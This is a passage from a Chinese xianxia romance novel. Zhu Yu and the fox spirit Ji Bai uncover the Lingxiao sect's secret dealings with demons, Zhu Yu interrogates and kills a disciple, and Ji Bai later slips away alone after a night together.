祝余蹙眉,“你在何处看到的悬赏令?”
少年被问的一脸懵,满大街都是悬赏画像,被悬赏的人却不知道?
在祝余长剑的威胁下,少年缩了缩脖子,老老实实的说道:“街上都是。”
祝余心中一阵后怕,如此重要的事,她竟然没有注意到。
差点又酿下大错。
她和既白,虽说是刚入城不久,但眼前的少年发现了她们,说不定别人也发现了。
祝余当下做出判断,必须尽快离开这里才行。
祝余问了最后一个问题,“是谁发布的悬赏令?”
“是凌霄宗。”少年又试探着道:“我保证我不会说出去的,能不能放过我。”
祝余动了下手中的的剑,冷声道:“死还是立道誓?”
她不信空口白话,道誓受天地法则保护,一旦违背,将会遭受反噬。
少年自然也清楚违背道誓的后果,心中踌躇片刻,咬牙道:“道誓,我选道誓。”
他才刚入修仙一途,还未见识过更广阔的天地,怎甘心如此死去,现在心中只剩后悔。
在祝余长剑的威胁下,少年不情不愿的伸出三根手指,吞吞吐吐道:“我,我立誓不会将今日之事说出去。”他偷瞄祝余一眼,狠下心道:“否则,否则就不得好死。”
立完道誓的少年,苦丧着脸,小心翼翼的问道:“我,我能走了吗?”
祝余也无意与他纠缠,收回长剑。
少年得到信号,立马转身马不停蹄的离开,仿佛身后有什么可怕的东西在追。
祝余转动目光,看见他正皱眉沉思,走上前一步,“在想什么?”
“没想什么。”既白蹙眉摇头,他尝试回想,却仍旧无济于事。
当务之急,是查明情况,祝余看着他,沉默了片刻后道:“我们先离开这里。”
既白也同意,“好。”
他走出几步,发现祝余没跟上来,他回头,眼中带着不解,“怎么了?”
“没事。”祝余眼底情绪复杂。
——
海城外的山林里,树木高大枝繁叶茂,二人正站在一颗大树下。
大树很粗壮,三人环抱有余,树下,祝余正直勾勾的盯着既白。
既白摸了摸自己的脸,没发现有东西,他略微不自然偏过脸,手心紧张的出了汗,“现在,我们去哪里?”
祝余眼神一凛,上前一步,一把推倒既白。
既白毫无防备,往后跌了一步,倒在树上,有片刻的愣神。
没等他开口询问,祝余倾身上前,一手按在他耳边的树上,一手扼住他下巴,眼眸微眯,透露着危险气息。
“你回复记忆了。”她说的肯定。
既白一僵,自以为隐藏的天衣无缝,没想到却还是被发现了。
他心虚的眼神乱瞟,说话都不利索,“你,你怎么,怎么知道的。”
“既白,我比你想的还要了解你。”祝余低头,唇与唇之间,只隔分毫。
气息缠绵,让人想起某些脸红心跳的事。
既白耳根一热,红晕布满脸,眼前昙花一现闪过那晚在山洞中的旖旎春情,匆匆撇开脸。
祝余怎会让他如愿,强制的转过他的头,好看的狐狸眼只看得见她的身影。
祝余满意了,勾唇一笑,质问,“为什么不告诉我。”
既白裸露在外的部分,以一种诡异的速度,瞬间布满红云。
为什么不告诉她?
自然是因为,他一醒来,记忆里全是那夜山洞里的疯狂,失去记忆的既白不懂,但有了部分记忆的既白却明白。
若是什么都没有发生,他定然能坦诚相待,却偏偏那夜的记忆如此刻骨铭心,让他一时间不知道该怎么面对她。
“是因为那夜发生的事情吗?”祝余直言。
心事被她戳破,既白又羞又恼,脸红的就像天边的火烧云,他嘴硬,“什,什么事,我不记得了。”
“是
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吗?”祝余轻笑一声,眸光幽深,凑到他耳边,滚烫的气息吐在他耳上,“要不要我帮你回忆回忆?”
耳朵本就是敏感部位,她滚烫的气息一刺激,瞬间通红的能滴血。
“不,不用了吧。”眸光见祝余似乎正在思考可行性,怕她来真的,他又连忙道:“我,我记得。”
“哦,记得。”祝余挑眉,似笑非笑。
既白后知后觉的反应过来,自己被她骗了,恶狠狠地剜了她一眼,生气的拨开她的手,头倔强的偏到一边,一副任谁也哄不好的表情。
祝余甚是好心情的低笑一声,捏了捏他红透的耳朵,自顾自道:“生气了?你恢复记忆不告诉我,我也很生气很难过。”
最后一句,带上了委屈的意味。
想到这些时日,她对自己的好,既白心一软,心中的气瞬间消了,她如此帮他,他却瞒着她,是他不对,可是可是她怎能那样对他……
既白脸色像变色龙一般,变了又变,还是过不去心里那个坎。
祝余一直在观察他,几乎瞬间就猜出他所想,她拉住他的手,无辜的眨了眨眼,为自己澄清,“是你求我帮你的。”
既白又是一僵,记忆告诉他,她说的是真的,此时此刻,他多希望地上能有个洞,这样他就能一头钻进洞里,不用面对如此尴尬场面。
“你又没说要怎么帮你,我只能我的想法来。”祝余继续补刀,眼中闪过一抹狡黠的笑。
狐狸上勾了。
既白面红耳赤,羞的无地自容,他一把捂住她嘴巴,不敢看她,“别,别说了。”
祝余眼中笑意渐深,若他此时抬头,一定能看到她脸上得逞的笑。
祝余拉开他的手,再在他手心落下轻轻一吻,目光灼热,虔诚而又认真的说道:“我会负责的。”
既白正微微挣扎着,突如其来的吻与话,让他失神,心与手心像是被烫到,皆泛起不正常的感觉。
片刻后,既白回神,想起了对他寄予厚望的族人,心中刺痛,他与任何人都不可能。
既白抽回手,藏在身后,偏头看向别处,目光虚无,“其实,也没什么大不了的。”
祝余脸上表情一变,再次钳制住他下巴,面色阴沉如乌云,仿佛下一刻暴雨就要来袭,她咬牙切齿,“你再说一遍。”
“没什么大不了”她不介意让他印象再深刻些。
“其实也……”既白的话音戛然而止,眼前是她难看的脸色,心中全是她的好,突然就没了再说一遍的勇气。
见他迟迟不语,祝余阴郁的心情才好上不少,她低头吻过他眉眼,“你不抗拒。”
“别拒绝我。”
既白心乱如麻,干脆眼不见为净,闭上了眼睛。
他的举动,在祝余看来就是默认,她越发得寸进尺,手顺着他腰线往下。
“你看你也是有感觉的。”
既白猛地睁开眼,制止住她作乱的手,声音带着被勾起情欲后的低哑,“别。”
祝余抬眸,看见了他哀求的眼神,低低的叹息一声,“如你所愿。”
随即,咬向他的唇。
30. “那你以身相许吧”
一吻毕,祝余心情甚好,眼角眉梢带着笑意,大拇指压在既白殷红如血的唇瓣上,一下一下的摩挲着。
既白不停喘息着,如白玉般好看的脸庞覆盖上一抹艳色,如春日里娇艳欲滴的桃花,格外撩人。
明明是两个人在亲,却只有他一人喘成这样,到现在,小腿都还在发软,若不是有她扶着,他只怕早就无力跌在地上。
既白十分不平,抬眸瞪了她一眼。
好看的狐狸眼眼尾带红,眼中泛着水光,惨遭人蹂躏过的样子,媚眼如丝,没有任何威慑力,在祝余看来,更像是勾引。
祝余眼底神色一深,按压在他唇上的大拇指用了力,“还想?”
既白拉开她的手,毫不犹豫的捂住自己的嘴,头摇的好似拨浪鼓,不想,他一点都不想。
祝余笑出了声,扬了扬眉,不愿意放过他,“摇头?我记得你很享受。”
在她的注视下,脸不出意外的又红了,宛若天边残阳,绚丽而又好看。
既白不好意思的低下头,绞尽脑汁想着该如何反驳。
没有记忆时,被她逗弄,有了部分记忆,还是被她逗弄。
既白想不通,明明自己长她好几百岁,怎反倒被她骗的团团转。
祝余挑了挑眉,他愁眉苦脸思考的样子,让她不禁失笑,抬手下意识的摸向他发顶。
既白眼疾手快的躲过,忐忑的觑了她一眼,声音极为飘忽,“不,不能摸。”
手落了空,祝余脸上笑意淡了几分,眼中透着危险神色,却还是温柔问道:“为什么?”
“我……”既白小心的抬眸看了她一眼,见她没有生气,才继续道:“我恢复记忆了。”
“恢复记忆,就不能摸你头了?”祝余平静反问。
既白在她极具锋芒的注视下,僵硬点头。
“对。”
祝余心中惋惜一番,不赞同他的说法,但也知道,欲速则不达,默默收回了手,“好。”
见她真的收回手,既白心里反倒生起一股不舒服的感觉,他努了努嘴,他说不摸就不摸了,那他说不亲为什么还要亲他?
既白心里酸溜溜的,又抬眸狠狠剜了她一眼。
祝余一头雾水,不知道自己又怎么惹到他了,她摇摇头,似乎还是没了记忆的既白更乖更可爱。
祝余无奈,却又甘之如饴。
“你全部记起来了吗?”祝余一板一眼问起了正事。
既白看了她一眼,神情失落,摇头,“只记起一部分。”
说起来,还要感谢那只半妖,因为半妖的误打误撞,他记起了他从黎山来,黎山的一众族人还在等着他去解救。
想起黎山,既白眼里带上了哀伤神色,黎山被封印后,没了围剿追杀,黎山狐族的确是过了很长一段时间的舒心日子。
但时间一长,问题也显现出来,黎山被封印,与外界断了联系,没办法飞升上界,修为高强的族中长辈只能等死。
且随着灵气的消耗,黎山界内的灵气越来越少,资质差的只能被迫放弃修炼,将机会留给资质更好的人。
但这样终究不是长远之计,保护他们的黎山,成了困住他们的牢笼,死去的人越来越多,他们却只能眼睁睁看着族人死在自己面前。
为寻求一线生机,族中长老在商议过后,想尽一切办法,把他送出黎山。
记忆的最后,是一双双殷切的目光。
他们对他寄予厚望,他们在等他回去。
可从黎山离开后,既白才发现,事情并非想象中那般容易。
黎山封印已有万年之久,岁月流转,沧海桑田,历史的长河中,早已没了黎山的足迹。
自此,寻遍万水千山,只为找到黎山,解救自己的族人。
对于祝余,既白心中万分感激,是她帮自己找到了消失的黎山。
如今,他已恢复记忆,自然该走回到原本的道路上,之前,他一直在纠结,不知该如何开口。
现在,既然事情被戳破,他也该和她道别了。
既白垂眸,眼帘遮住了眼中情绪,酝酿好后,他开口,“之前的事,多谢你了,若有机会,我必定报答。”
“黎山的事,就不麻烦你了。”
黎山是他的责任,祝余天赋出众,有更好的未来,没必要为此浪费时间。
祝余收了笑,面无表情的直视他。
她也不说话,就这么平静看着,既白没来由的心烦意乱。
良久,在既白忍不住想要逃离时,她开口了。
“你在赶我走?”她说的平静,仿佛只是在复述一件不起眼的小事。
既白低着头,还没想好如何回答,便又听到她说道:“你说会报答我,可作数?”
“自然作数。”既白垂眸回答,心中的酸涩感怎么也压不下。
“你需要我做什么?”
祝余眼中精光一闪,“什么事都可以?”
对于他此番举动,祝余心中是真的生气,如此倾尽全力帮他,为的是什么,他真的不懂吗?
一句轻飘飘的报答,就想揭过,她不同意。
“什么事都可以。”他点头复述了一遍。
祝余笑了,她道:“那你以身相许吧。”
既白一僵,脑海中一片空白,手都不知道该往何处放了。
“不行?”祝余挑眉,用他的话回他,“你说什么事都可以。”
既白偏过头,心中苦涩,脑海中是她玉立的身影,她数次义无反顾的站在他面前,数次救他于危难中,若说一分心动都没有,是不可能的。
只是,他和她不可能。
既白咽下苦涩,连同咽下的还有难言之隐。
既白沉默着,一言不发。
祝余目光平静,仿佛早已预料到,“我不需要你的报答,你知道我想要什么。”
说完,她话锋一转,“你要找黎山,我会帮你,不过在此之前,先去一趟凌霄宗。”
“至于离开的话,以后莫要再说。”
祝余一锤定音,完全不给他拒绝的机会。
既白反应过来时,已经乖乖现出狐身,被她抱在怀中,他心中懊悔,不明白怎么突然就这样了。
祝余抱紧怀中的狐狸,往凌霄宗方向而去,凌霄宗为何悬赏既白,她需要知道答案。
直觉告诉她,与既白尾巴脱不了干系,是与否,一探究竟便知。
至于,让他变成
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狐狸,则是为了避免被人认出,他的模样已被太多人见过,终归是有隐患的。
凌霄宗是这方圆百里唯一的宗门,轻而易举就能找到。
祝余抱着既白倚在树下,抬眸,山头上座座金碧辉煌的宫殿隐在云雾里,好似天上宫阙。
夜晚更利于行事,她在等天黑。
等的过程过于无聊,祝余坐在树干上,不时捏捏怀中狐狸的耳朵,狐是摸摸尾巴。
狐狸皮毛漂亮柔软,手感甚好,祝余玩得不亦乐乎,完全不顾既白不情愿的心情。
既白拼尽全力将自己缩成一团,任凭他如何努力,头上的狐耳和身后的狐尾,却怎么也藏不住,只能认命。
手指的温度透过皮毛,传到他肌肤上,每一下都引起颤栗,毛茸茸的狐耳在不知不觉间红了,透着淡粉的狐耳更加漂亮,祝余淡笑着,爱不释手的又捏了几下。
既白又羞又怒,还有几分他不愿意承认的舒服,他庆幸,还好现在是狐狸模样,无人能看到他红透了的模样,不然她又该逗他了。
过了许久,夕阳落山,最后一缕金光消失,夜幕悄然降临,月亮悄悄的爬到夜空中。
祝余看了眼天幕,意犹未尽的收了手,而既白眼中早已是生无可恋的神色。
顶着月色,祝余的身影飞快的在山林中移动,山门处,有人在把守,她悄无声息的跃了进去。
祝余双目警惕,十分小心游走在凌霄宗。
突然,她听到了前方有声音,她警觉,有人来了。
随即,躲进角落里。
说话声,越来越近,祝余屏息凝神,仔细听来人在说什么。
“师尊的修为越来越高了,也不知他老人家,何时才会将功法传授给我们。”
“不急,只要忠心侍奉师尊,有的是机会。”
“说的也是。”
声音渐行渐远,后面的话,祝余没再去听,只觉得这几句话怪怪的。
想了想,她走出角落,跟了上去,不远不近的距离,祝余也看清了说话之人,是两个很年轻的男子。
只见他们左拐右拐,来到一处废弃的荒院,说是荒院,院中却不见杂草丛生,反而路径光滑,似乎经常有人来此,若说不是荒院,它的陈设却十分老旧,有的地方,房梁都榻了。
祝余正疑惑,他们为何来此,却见他们径直走到荒院中的枯井,眼眨都不眨的跳下去,仿佛是做过上百次的举动。
目睹二人消失在眼前,祝余并没有贸然现身去察看,而后找了个视野良好的隐秘位置,继续等待。
没等多久,两人便从枯井中跳了出来,与之前不同的是,地上多了一个昏迷不醒的中年男人。
枯井里藏着人,看来凌霄宗的秘密就在此了,祝余感叹,自己运气可真好,一来就碰到如此场面。
二人离去后,祝余又等了片刻,确认人不会再后来,她从房顶跳下来。
祝余走到枯井处,朝里看去,黑漆漆一片,什么也看不清。
祝余想了想,放下既白,“你在外面等我,我很快就出来。”
说完,不等既白反应,就跳了下去。
既白气急,身上的毛都炸了,想也不想的跟着跳下去。
31. 凌霄宗
祝余落地,眼前是一片黑暗,她刚踏出一步,便听到枯井口有下坠的声音传来。
祝余收回脚,伸出手,狐狸掉进她怀里,下意识将狐狸抱紧,面上无奈,她压低声音,“让你在外面等,怎么进来了。”
狐狸傲娇的轻哼一声,自顾自的将头埋进她怀里,别以为他不知道她在想什么,龙潭也好,虎穴也罢,她是为了他才入的,他自然是要跟她在一起。
祝余的确是怕里面有危险,才会选择把他放在外面,可如今,他都跟下来了。
黑暗中,祝余扬起了唇角,心中好似吃了蜜,甜滋滋的,得出一个结论,他还是在意她的。
祝余低头,用侧脸去蹭他的柔软的皮毛,声音轻柔,“既白,我很开心。”
既白领悟到她话里的意思,脸不好意思的红了,眼中却带着几分若隐若现的哀伤。
祝余不再多言,顺了一把毛,抱着他往枯井深处走去。
枯井里别有洞天,祝余担心会惊动凌霄宗的人,一直在摸黑前行,走过一段漆黑的通道,跨过拐角,眼前豁然开朗。
长长的通道里,墙上点着火把,两边是一排牢房,牢房里关着人,地面上是干涸的血迹。
每一处都在证实着此地的不同寻常。
祝余沉吟片刻,缓步走近,她朝牢房里看去,里面是一个中年男子,男子仰躺在地上,双眼紧闭,四肢无力垂落,看起来像是被下了药。
又陆续查看几个牢房,几乎每一个情况都如此,她还注意到这些人的修为,最高不过金丹,想起先前听到的话,她莫名觉得两者会有关系。
祝余尝试过叫醒牢房中的人,但不知是何原因,无一人能听到,完全叫不醒。
她蹙眉,看来此地得不到答案了,答案要去别处寻找。
祝余不再多留,转身出了枯井,她打算抓一个凌霄宗的弟子来问问。
她的运气很不错,竟然又遇到了,先前的两人中的一人。
不知他将先前的中年男子带到哪里去了,想着,祝余悄无声息的跟上他。
在确认不会有人后,祝余飞身上前,一个手刀,在男子还没反应过来时,将男子打晕,她提住男子衣领,往后山而去。
后山,男子迷迷糊糊的睁开眼,目光在看到既白的脸时,瞬间清醒,“是,是你!”
男子大为激动,就要起身去抓人,动不了,才发现自己被绳子捆得严严实实。
他脸色一变,大声道:“知道我是谁吗?还不快点放了我,等我师尊发现了,让你们吃不了兜着走。”
他的目光死死的盯着既白,全然忽略了在一旁的祝余。
祝余看向既白,“可有想起什么?”
“没有。”既白摇头。
祝余冷漠看向男子,质问,“凌霄宗为什么要找他?”
“哼!”男子冷哼一声高傲的转过头,“我师尊很快就会发现我不见,到时你们都别想跑。”
男子如此有恃无恐,祝余知晓他说的定然是真的,她必须在来人之前,解决离开。
祝余不再与他多言,拔剑,一剑捅入他左肩。
男子疼的脸色扭曲,恶狠狠的看着祝余,“你……你竟敢伤我。”
祝余不想和他废话,手中又举起了金麟剑,威胁的看着他,“为什么要找他。”
男子恶狠狠的看着她,不说话,祝余又是一剑刺去。
祝余刺完一剑,见他还是没有想说的意思,反手又是一剑。
接连几剑后,男子全身是血,俨然成了一个血人,他疼的呲牙咧嘴,有些受不了了,立即求饶,“我,我说。”
灰头土脸的样子与之前的盛气凌人相比,恍若两人。
祝余收了剑,“说。”
“我……我不知道。”男子哭丧着脸,怕祝余又刺他,连连解释,“我真不知道,师尊只给了我画像找人,并未说其原因。”
祝余看着他思考了两秒,确认他是真的不知道,便又换了一个问题,“枯井里的人,是怎么回事?”
“枯井?什么枯井,我不知道。”男子冷汗直冒,一眼就让人看出是在说假话。
祝余又举起了剑。
“若是让师尊知道,是我说漏了嘴,他会杀了我的。”男子痛哭流涕,磕头求饶。
祝余不为之动容,冷漠观之,那男子见自己的求饶没有作用,只能停了下来,僵持了半响,缩了缩脖子,害怕的说道:“师尊得了一部功法,可以将他人的修为,转为自己修为。”
“我已经将自己知道的,全部告诉你了。”男子试探着问,“能,能不能放了我。
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”
听之,祝余忍不住皱眉,将他人修为变成自己修为,一听就不符合常理,修仙界中不会允许有这样的功法存在。
她道:“凌霄宗与魔族勾结?”
男子大惊失色,不可置信的看着她,“你……你怎么知道。”
师尊总在夜间会见黑袍人,有一次实在忍不住心中好奇,便偷看了一眼,却发现黑袍人竟是魔族。
祝余并不知晓,但将他人修为变成自己修为的手法,像极了魔族,她随口一说,没成想得到了真相。
既白听完后,上前,指了指地上的男子,“他怎么办?”
这人见过既白,定然是不能留了,更何况凌霄宗与魔族勾结,他也是帮凶。
男子仍在跪地痛苦求饶,一副极为怕死模样。
祝余手中长剑一动,下一刻,在男子还未反应过来时,长剑贯穿了他的心剑,他不可置信的睁大了眼,呼吸慢慢趋于无。
——
祝余抱着既白回了海城,凌霄宗与魔族有勾结,此事已经不是她能管的了,她立即将事情告知宗门。
祝余站在窗前,想来宗门不日便会前来处理,至于既白的尾巴,她心里也有了猜测。
必定与魔族脱不了干系。
她叹息,可惜风声木迟迟没有踪影。
既白现出人身走到她身后,祝余偏头,“虽说是在客栈,但还是小心别被人看到了。”
凌霄宗还在,隐患就还在。
既白点点头,沉默了一瞬,然后说道:“我想去找黎山。”
他离开黎山已经太久,不知道族人可还好。
族人一日未解救,他便一日无法安心。
祝余无奈叹息一声,她本是想着先找到风声木,再去寻找黎山,但他如此执意,纵然她不赞同,也只能顺了他的意。
“好。”祝余应下来,“等宗门的人来到后,我们便回玄清宗。”
既白没有异议,点头同意。
宗门的人,来的很快,毕竟人族与魔族勾结一事兹事体大,来的人不止有玄清宗的,还有其他宗门的。
事情解决的很快,凌霄宗宗主也曾识图反抗,但无异于蜉蝣撼大树,宗主一死,凌霄宗没了主心骨,一片混乱。
祝余也带着既白回了玄清宗。
32. 黎山
祝余放下书,眨了眨干涩的眼睛,抬眸看向对面的既白。
既白双手捧着书,低垂眸眼,一字一句看的很是认真,几缕发丝从肩上滑落,也浑然不觉。
祝余眼神悠远,想起了很久以前,曾问过他的一个问题,那时的既白不知,现在的既白定然是知晓的。
略一思索,祝余伸手抽出他手中的书,既白茫然看向她。
祝余冲他笑笑,“知道你着急,但也需要偶尔休息。”
“黎山会找到的。”
既白没有拒绝她的好意,点点头,看向窗外,蓝色的天空一望无际,朵朵白云点缀其中,一排飞鸟低飞而过。
祝余走到他身侧,顺着他的视线看去,见到你却是十几年如一日的场景,没什么好看的。
她问,“在看什么。”
既白收回视线,好看的眼眸看向她,一股惆怅自心底油然而生,突然很想与她说说黎山的事。
心底想法格外迫切,便没忍住开了口,“黎山是看不到这一切的。”
“黎山无日夜。”
祝余诧异,想了想,又觉得正常,与世隔绝,自然是看不到的。
祝余在他面前站定,抓起他的手,与他十指相扣,安慰道:“以后,我陪你看。”
既白笑了笑,没说话,眼底的哀伤浅薄如雾,但愿如此吧。
祝余空着的手,勾起了他耳边的一缕发丝,别有深意的问道:“还记得我在丰城时,曾问过你一个问题吗?”
既白垂眸想了想,没想起,突然很是心虚,他偷看了她一眼,不好意思的偏过头,“我,我好像忘了。”
祝余也不在意,问题不重要,答案才是她在乎的,她松开与他相扣的手,微微俯身,自他耳后取下一缕发丝,随后又从自己长发里取下一缕。
意识到她想做什么,既白耳垂一热,脸红的好似初升的红日,眼神却无法从她手上移开。
祝余手指灵活,两缕长发在她手中不断交缠,片刻后,一个由发丝编成的同心结,出现在她手心。
她用指尖捏住,在他眼前晃了晃,既白顿觉燥热,脸上红晕更深了。
灼灼目光落到他脸上,在他不自在的想要偏过头时,祝余开了口,“女子为男子束发,是何意思?”
既白红着脸,低下头,默默咬住了唇,他在人间游走多年,自然是知道的。
祝余伸手捏住他下巴,强迫他抬起头,入目是他绯红如桃花般的脸,眼中春情流转,没忍住,低头在他唇上轻咬一口,“现在,既白告诉我好不好。”
“我……”既白咬了咬唇,话语在心头打转,却实在不好意思说出口,族人的身影在脑海中一闪而过,他想起了自己身上的重担,想起了黎山,眼中春情在这一刻消散,理智回笼,他偏过头,低声道:“我不知道。”
祝余眼中失落,她能感觉到他对她也是有意的,能感觉就差那么一点,他就要说出口了,却又不知为何临门一脚改了口。
祝余气急,这种答案近在眼前却得不到的感觉,属实不好受,低头,泄愤般的在他脖子上咬了一口。
“真的不知道?”祝余说的咬牙切齿。
脖子上突然一疼,既白下意识的瑟缩了下,却又被祝余扳回来。
怕又惹恼她,他说的小心翼翼,“不,不知道。”
祝余心里憋着一股气,起身,大步走了回去,生气的拿起先前放下的书。
既白咬唇看了看她,眼中神色低落,也跟着拿起自己在看的书,看了几眼,却一个字也看不进去,他抬眸定定的看向祝余。
祝余感受到他的目光,以为是他想通了,会来哄一哄自己,结果,下一秒,他的目光消失了。
她没忍住,抬头朝他看去,却见他眉眼低垂只顾手上的书,瞬间心里更气了。
既白翻了好几页书,心却像乱的是找不到方向的蚂蚁,他逼迫自己静下心来,既然早已注定没有结局,不如不开始。
他垂下眼帘,这样,等那一日到来,她才不至于太过伤心。
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>几番暗示后,心静下来,既白又重新将心神,放到书上,当务之急,是找到黎山。
手指翻过书页,在看到上面的记录时,身心一震,他抬眸看了祝余一眼,见她正低着头,没注意到这边。
既白手指微微用力,眼底神色莫测,片刻后,他下定决心,放轻动作,极为小心撕下书页,将书页放到袖中,仿佛一切都没发生过。
——
“时师姐。”
时灵兮抬眸,看到叫住自己的人竟是他,还没在他身边看到自己师妹,很是意外。
时灵兮挑眉,轻而易举猜出,“有事相求?”
既白深感意外,没想到会如此轻易猜到,他点点头,踌躇片刻,他开口,“我……我想借件飞行灵器。”
时灵兮摸不着头脑,以为他找自己会有什么大事,但飞行灵器,她记得师妹也有,便随意的问了一句,“怎么不找师妹?”
他本就是为瞒住祝余,自然不想祝余知晓,既白一本正经的扯谎,“她的我用不了。”
时灵兮满头雾水,但飞行灵器对她来说只是小事一桩,便没有多想了扔了一件给他。
既白接住,垂眸,道谢,“多谢师姐。”
时灵兮摆摆手,离开了。
既白低头看着自己手里的物件,眼中情绪几经变换,心中叹息一声,黎山找到了,是时候该离开了。
他回到剑峰时,祝余正在门口焦急张望,见他回来了,连忙上前,视线扫过他,见他平安无事,紧悬着的心才放下心,话音里带着关心,问道:“怎么才回来?”
既白不敢看她,怕被她发现端倪,低着头,随意道:“随便走走。”
祝余走上前,主动牵起他的手,见他投来惊诧目光,也只当没看见。
这几日,因为那日的事,她心里憋着一口气,都没怎么与他亲近,如今,感受着手中的温度,只觉得几日来,心里憋着的那股气散了。
她也想通了,来日方长,还有很多时间,她不会逼他的。
33. 缠绵过后的离别
入夜,月牙轻弯,星辉斑斓。
徐徐微风从窗口吹拂进来,微风轻抚人脸,恰到好处的温柔,带走萦绕在人心头的哀愁。
祝余盘坐在窗边的榻上修炼,双眸紧闭,朱唇微合,月色倾洒而落,眉眼隐于月色中,看起来圣洁不可攀。
既白定定的看了好一会,抿了抿唇,眼中极度纠结,缄默良久,他好似下定某种决心。
既白缓缓起身,一步一步走的极为缓慢,腰微弯,短短几步路,却仿佛走了千年之久。
感知到他的到来,祝余沐浴在月色里睁开了眼,微微勾唇,朦胧月色柔和了她的眉眼,让她本就温柔的笑意更显绻缱。
“怎么了?”
既白无言,眼底哀伤如薄雾扩散,难以言喻的伤感攀上心头,沉默了片刻,缓缓摇头。
祝余也不催促,眸光含笑,包容而又有耐心,在她温柔的注视下,平稳的心跳渐渐失控,仿佛心不再属于自己,只为她而跳动。
抿唇,既白终下定决心,最后一次,就让他放纵一次,让他在死前能留有些美好记忆。
既白心一横,俯身吻上她,两唇相贴,热意渐升,他学着她亲吻他时的样子,青涩而又害羞的探出舌尖,舌尖相触,似有酥麻感而过。
祝余微愣,向来是她主动,今夜怎如此反常,但美人在怀,她已无暇去想太多,反应过来后,她手挽在他腰间,一勾,便轻而易举的将人带向自己。
身体紧紧相贴,彼此缠绵,冗长的热吻后,祝余放开了他,目光紧盯着他殷红的唇,脑海中不由自主的闪过他双眼含情的迷蒙模样,顿时想入非非,眼底有了欲色。
既白头靠在她身上,不太自然的微微轻喘着,她的目光太过灼热,脸上热意蔓延,不自在的将脸埋到她胸口。
祝余心情格外的好,心满意足的将手贴到他后背,手心灼热,动作极其温柔的为他顺气。
既白的心在她手触碰到自己的那一刻,瞬间紧张起来,上次因为情花的原因,做这事时,他并不太清醒,故而并没有多少紧张,事后回忆起来,更多的也是羞怒和不好意思。
而现在,他处于清醒状态,她的一举一动他都能清晰感知,既白手心出汗,不安的揪住她衣服,慌乱的不停吞咽口水,紧张的等着那一刻的到来。
只是,他等了许久,身上的手依然停留在他后背上,一下接一下为他顺气,手心温度透过不太厚的衣服,传到他肌肤上,引起一阵阵颤栗。
又等了一会,见她依然没有下一步的动作,既白心里不免着急,他咬着唇,脸红的好似要滴血,极不好意思的抬起头,小声嗫嚅,“你,你不想吗?”
“什么?”他的声音实在过轻过小,祝余一时间没听清。
“我……”既白实在没有勇气再说一遍,烦闷的将头埋到他颈间,独自生着闷气。
祝余低头,捧起他的脸,在他额头亲了亲,轻哄着,“刚才是我不好,没听清,既白再说一遍好不好。”
不管她有没有听清,他生气了,就是她的不对。
既白咬了咬唇,眼中踌躇,因为她的话,偃旗息鼓的心思又活络起来,他抬手勾住他的脖子,殷红的唇凑近她耳边,一字一句,“你不想吗?”
话毕,别有深意的在她耳垂亲了亲。
这次,祝余听清了,眼底欲念加重,眸色深沉不可测,在感觉到他极富挑逗的亲吻时,心中崩着的那一根弦断了。
她知他不太情愿,所以从未想过逼他,只想与他慢慢来,来日方长,她总会让他愿意的。
但现在,他开口了。
祝余手箍在他腰间,将他搂的紧紧的,黑沉的眼底仿佛藏匿着一只凶狠恶狼,她问道:“你确定?”
若他说不,她会失落,会遗憾,但绝不会强迫他。
山洞那夜,是情不得已。
既白早在开口前就想好了,初时的确是不太能接受,但现在他要离开了,只想在这之前,与她留下些美好回忆,至于是用何方式,相比于生死,突然间也不重要了。
既白没再回答,用动作诠释自己的决心,他主动的解下腰间系带,递给她,黑色腰带在他手心飘动,他眼尾泛红,媚眼如丝,轻唤道:“祝祝。”
祝余有一瞬的恍惚,自他恢复部分记忆起,已经很久没叫过她祝祝了,如今重唤,是否意味着他接受了,也愿意,她们之间的关系。
祝余瞬间激动不已,心开始沸腾,仿佛千万朵花同时绽放,数不清的喜悦将她围住,最终化为她眼中浓重的欲色。
手上一个用力,将人推倒在榻,祝余倾身,双手按在他头两侧,既白被她笼罩在怀中,朦胧月色铺洒在二人身上,月牙儿似乎知道将要发生什么,悄悄地躲藏进云层里。
——
天明时分,祝余为他掖好被角,俯身在他额头轻轻落下一吻,不舍的起身离开。
若非有要事在身,她也不想这么早离开既白。
在门落下声响的那一刻,既白合着的双眸睁开,眼中一片清明,显然是清醒良久。
他转头,眸光平静无波,出神了片刻,他起身。
想了想,抬手解下她送的长命锁,指尖轻轻摩挲而过,将长命锁放置在桌上,随后他走出屋。
关门之际,他深深的看了一眼长命锁,心中默道:“祝余,再见。”
随即,不再留恋的关上门,一同关上的还有他未说出口的感情。
祝余忙碌完手中的事,匆匆赶回剑峰,推开门,屋内空无一人,满心期待落了空。
祝余收好眼中的失落,走进屋,想着他可能出去散心了,便没有太过担忧,却在目光无意间触及桌上的长命锁时,眼神一变。
她三两步上前,抓起长命锁仔细确认,是她送的没错,祝余不解,怎么放在这里。
虽说玄清宗外人无法随意进入,但祝余还是担心他安全,拿着长命锁,就急匆匆出了屋。
祝余去他常去的地方找了一圈,却没看到人,顿时察觉到了异常。
她匆匆找到时灵兮,面上表情凝重,“师姐,可有见过既白?”<
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p>“人不是在你那?”时灵兮反问。
祝余失魂落魄,摇头,“师姐,不在。”
直觉告诉她,长命锁是他自己解下来的,为的就是不让她找到。
她想不通,为何?
昨夜,明明一切都很好。
时灵兮表情一变,后知后觉的发现,自己好像好心办坏事了,她心虚的看了祝余一眼,很是愧疚,“师妹,我有件事忘了告诉你。”
“就是前两天,他找我借了件飞行灵器。”
时灵兮惴惴不安的看着她,“我以为你是知道的,便没同你说。”
“师妹,抱歉。”
时灵兮也没想到,他找自己借飞行灵器,是为了悄无声息的离开,若她知道,她是万万不会借的,祝余是她师妹,她自然站在师妹这边。
她话音落,祝余心中一酸,眼眶无声无息的红了,原来真是他自己走的。
心中酸涩交缠,即使她承诺过会帮他寻找黎山,可他还是一声不响的走了。
昨夜,于他而言算什么呢?
心里又闷又难受,说不上伤心与生气,谁更多一些,祝余只知晓,他走了。
与十五年前一样,走的毫不留恋,只留她一直被困在原地。
他,好狠的心。
“师妹,你还好吗?”时灵兮担忧的看着她,“现在去追,应该还来得及。”
祝余强忍眼中泪意,硬挤出一个笑,她摇头,“师姐,我没事。”
“既然是他的选择,那便成全他吧。”她的声音带着浓浓的倦意。
若真留不住,她还他自由。
“师姐,我回去了。”
祝余话毕,转身离开,面上仿佛无事,只是身影里却多了几分寂寥。
祝余回到自己所在的峰,进屋,关门,她环视四周,好像一切都没变,可她无比清楚,不同了。
心口抽疼的好似被撕裂,祝余痛苦闭眼,她不明白,自己已将所能做的都做了,为何他还如此狠心。
